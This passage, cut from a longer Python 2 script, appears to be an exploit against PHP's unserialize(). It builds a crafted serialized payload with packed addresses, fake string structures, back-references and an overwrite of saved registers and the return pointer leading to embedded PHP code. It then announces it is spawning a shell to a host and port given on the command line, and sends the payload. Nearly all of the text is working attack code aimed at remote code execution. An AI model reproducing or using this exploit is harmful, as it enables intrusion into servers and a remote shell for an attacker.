data += 's:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:101;O:8:"stdclass":0:{}i:1;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:102;O:8:"stdclass":0:{}i:2;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:103;O:8:"stdclass":0:{}i:3;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:104;O:8:"stdclass":0:{}i:4;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:105;O:8:"stdclass":0:{}i:5;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:106;O:8:"stdclass":0:{}i:6;S:16:"' + struct.pack("I", addr4) + struct.pack("I", count4) + '\00\00\00\00\06\00\BB\BC";i:107;O:8:"stdclass":0:{}i:7;S:16:"' + struct.pack("I", addr3) + struct.pack("I", count3) + '\00\00\00\00\06\00\BB\BC";i:108;O:8:"stdclass":0:{}i:8;S:16:"' + struct.pack("I", addr2) + struct.pack("I", count2) + '\00\00\00\00\06\00\BB\BC";i:109;O:8:"stdclass":0:{}i:9;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";}'

data += 'S:3:"abc";r:53;'

data += 'S:3:"abc";i:1;'

data += 'S:3:"def";S:39:"\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\x78\x00\00\00\01\00\00";'

data += 'S:3:"ghi";r:56;'

data += 'S:3:"ghi";i:1;'

data += 'S:3:"jkl";S:111:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBB' + old_cwd + 'DDDD\x78\x00\00\00\01\00\00";'

data += 'S:3:"mno";r:59;'

data += 'S:3:"mno";i:1;'

data += 'S:3:"pqr";S:111:"\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\x88\x00\00\00\01\00\00";'

data += 'S:3:"stu";r:62;'

data += 'S:3:"stu";i:1;'

data += 'S:3:"vwx";S:127:"' + ebx + ebx + ebx + esi + edi + ebp + esp + eip + return_addr + php_code_addr + retval_ptr + string_name + php_code + junk + '";'

data += 'O:8:"DateTime":1:{s:10:"_date_time";s:25:"-001-11-30T00:00:00+01:00";}}'

print "[+] Returning into PHP... Spawning a shell to " + sys.argv[3] + " at port " + sys.argv[4]

resp = get_resp(data)